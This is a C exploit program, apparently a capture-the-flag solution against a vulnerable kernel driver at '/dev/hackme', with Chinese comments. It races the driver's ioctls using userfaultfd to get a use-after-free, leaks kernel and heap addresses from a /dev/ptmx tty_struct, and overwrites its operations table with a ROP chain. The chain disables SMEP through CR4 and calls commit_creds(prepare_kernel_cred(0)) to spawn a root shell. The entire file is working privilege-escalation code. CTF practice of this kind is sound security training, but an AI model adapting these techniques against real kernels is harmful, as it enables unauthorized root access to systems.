// gcc exp.c -o exp -masm=intel -static
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

struct user_arg {
	size_t index;
	char *user_ptr;
	size_t size;
	size_t off;
};


void add(size_t fd, size_t index,char *user_ptr,size_t size)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	ioctl(fd,0x30000,&user_arg);
}

void delete(size_t fd, size_t index)
{
	struct user_arg user_arg;
	user_arg.index = index;
	ioctl(fd,0x30001,&user_arg);
}
void write_to_kernel (size_t fd, size_t index,char *user_ptr,size_t size,size_t off)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	user_arg.off = off;
	ioctl(fd,0x30002,&user_arg);
}
void read_from_kernel (size_t fd, size_t index,char *user_ptr,size_t size,size_t off)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	user_arg.off = off;
	ioctl(fd,0x30003,&user_arg);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]Status Has Been Saved.");
}
void get_shell(){

	puts("[+] Got R00t (:");
    system("/bin/sh");
    exit(0);
}

size_t commit_creds,prepare_kernel_cred;
void get_root()
{
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
    asm(
    "push %0\n"
    "push %1\n"
    "push %2\n"
    "push %3\n"
    "push %4\n"
    "swapgs\n"
    "iretq\n"
    ::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&get_shell)
    );
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] Handler Created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // Wainting copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	puts("[+] Trigger! I'm going to hang");
	
	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	puts("[+] Fault Page Handler Finished");
	sleep(1000);
	return 0;
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理FD,若访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
	if ( pthread_create(&thr, NULL, handler, (void*)uffd) ) // handler函数进行访存错误处理
		errExit("[-] pthread_create");
    return;
}


#define SEARCH_SIZE 0x200000

int main()
{
	save_status();
	uint64_t fault_page,fault_page_len;
	uint64_t kernel_base, heap_base, ptm_unix98_ops = 0x625D80;
	size_t fd = open("/dev/hackme",O_RDONLY);
	
	char *buf = malloc(SEARCH_SIZE);
	memset(buf,0,SEARCH_SIZE);
	
	add(fd, 0, buf, SEARCH_SIZE);
    delete(fd, 0);
    if (fork() == 0)
    {
       	buf = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uint64_t fault_page = (uint64_t)buf;
        uint64_t fault_page_len = 0x1000;
        register_userfault(fault_page, fault_page_len); // 注册监视缺页内存,遇到缺页则会挂起
        add(fd, 0, buf, 0x2E0);
    }
    sleep(2); // 等待子进程触发页错误
    size_t ptmx_fd = open("/dev/ptmx",O_RDONLY);
    puts("---- Begin TO Find PTMX Struct");
    
    uint64_t evil_buf[0x200/8];
    uint64_t ptmx_offset = 0,i,j;
    for (i = 0; i < SEARCH_SIZE; i += 0x200)
    {
        read_from_kernel(fd, 0, (char*)evil_buf, 0x200, i);
        for (j = 0; j < 0x200/8; j++)
            if (evil_buf[j] == 0x0000000100005401)
            {
                ptmx_offset = i + j*8;
                printf("[+] Have Found PTMX Struct At Offset: %#lx\n", ptmx_offset);
                break;
            }
        if (ptmx_offset != 0)
            break;
    }
    if (ptmx_offset == 0)
        errExit("[-] Cannot find ptmx struct");
    // 通过tty_struct 中的指针 从而获取堆 和 内核的地址
    kernel_base = evil_buf[3] - ptm_unix98_ops;
    heap_base   = evil_buf[7] - 0x38 - ptmx_offset;
    printf("Kernel:\t%p\n",kernel_base);
    printf("HEAP:\t%p\n",heap_base);
    prepare_kernel_cred = 0x4D3D0 + kernel_base;
    commit_creds        = 0x4D220 + kernel_base;
    
    evil_buf[3] = (uint64_t)heap_base + 0x180;  // 此处指向 fake_tty_operations 指针位置,只要满足调用ioctl指针的时候调用gadget1
    											// 而脚本是从 [0x80/8 + i]开始才存放gadget1指针,所以此处指向0x180偏移处		
    evil_buf[0x38/8] = heap_base + 0x100;
   	write_to_kernel(fd, 0, (char*)evil_buf, sizeof(evil_buf), ptmx_offset);
   	
   	//******* 简单的构造ROP + tty_struct 进行利用,其中修改CR4寄存器,故可以ret2usr
   	uint64_t fake_tty_operations[40];
    for (i = 0; i < 0x10; i++)
        fake_tty_operations[0x80/8+i] = kernel_base + 0x5DBEF;
        // 改tty_operations中ioctl函数指针对应的指针
        // gadget 1:  mov rax, qword ptr [rbx + 0x38]; mov rdx, qword ptr [rax + 0xC8]; call rdx;
	fake_tty_operations[0xC8/8] = kernel_base + 0x200F66; //gadget 2:  mov  rsp, rax;  pop  r12;  push r12; retn
    fake_tty_operations[0]  = kernel_base + 0x01B5A1; //pop rax ; ret
    fake_tty_operations[1]  = 0x6F0;
    fake_tty_operations[2]  = kernel_base + 0x0252B; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
    fake_tty_operations[3]  = 0;
    fake_tty_operations[4]  = (size_t)&get_root;
    write_to_kernel(fd, 0, (char*)fake_tty_operations, sizeof(fake_tty_operations), 0x100);
    ioctl(ptmx_fd,0,0);
}




